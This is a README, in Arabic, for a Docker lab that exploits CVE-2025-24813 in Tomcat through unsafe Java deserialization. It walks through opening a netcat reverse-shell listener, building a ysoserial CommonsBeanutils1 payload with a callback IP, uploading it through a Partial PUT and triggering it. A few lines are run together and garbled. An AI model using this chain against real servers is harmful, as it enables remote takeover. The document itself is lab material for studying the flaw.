
Session Exploit
🧪 مختبر CVE-2025-24813 Tomcat RCE (Docker + ysoserial)
يعرض هذا المختبر تنفيذ الأوامر عن بُعد عبر إلغاء التسلسل غير الآمن في Java داخل تطبيق مستضاف على Tomcat يعالج ملفات الجلسات المتسلسلة. تعمل البيئة بأكملها داخل Docker مع حمولة Reverse Shell مصممة خصيصًا تُرسَل عبر طلب Partial PUT.
📁 هيكل الدليل
.
├── 0-run-tomcat.sh # Build + run vulnerable Tomcat container
├── 1-generate-revshell.sh # Start Netcat reverse shell listener
├── 2-generate-payload.sh # Generate ysoserial reverse shell payload
├── 3-upload-file.sh # Upload serialized payload via Partial PUT
├── 4-exploit.sh # Trigger deserialization endpoint
├── readme.md # This file
├── source.sh # Sets CALLBACK_IP, LISTENER_PORT, etc
├── dummy-app/
│ ├── src/
│ │ └── main/java/com/example/DeserializeServlet.java
│ ├── pom.xml
│ └── Dockerfile
⚙️ المتطلبات الأساسية
ثبّت Java و Netcat:
brew install openjdk netcat
تأكد من استخدام JDK 11+ والسماح بالوصول غير الآمن للوحدات عبر --add-opens.
🧨 خطوات الاستغلال
CommonsBeanutils1)🧪 الاستخدام
bash 0-run-tomcat.sh
أنشئ ملف source.sh على هذا النحو:
export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100
ثم قم بتضمينه (source):
source source.sh
في طرفية منفصلة:
bash 1-generate-revshell.sh
وهذا يشغّل:
nc -lnvp 4444
bash 2-generate-payload.sh
سيقوم هذا بـ:
ysoserial.jar إذا لزم الأمرCommonsBeanutils1 مع Reverse Shellrev_shell.serbash 3-upload-file.sh
ينفّذ هذا السكربت رفعًا عبر HTTP Partial PUT على دفعات باستخدام ترويسات Content-Range.
bash 4-exploit.sh
يستهدف هذا:
http://localhost:8080/xxx-api/profile
والذي يلغي تسلسل الملف المرفوع وينفّذ الحمولة.
✅ ستحصل على Reverse Shell في طرفية Netcat!
🔍 تصحيح الأخطاء
داخل الحاوية:
docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l
تحقق من وجود الملف /tmp/beanutils-worked إذا كنت تختبر بحمولة آمنة.
💡 ملاحظات
--add-opens لتجاوز قيود الوحدات في Java 11+/bin/bash (جرّب /bin/sh)touch /tmp/rce-worked🧱 مبني على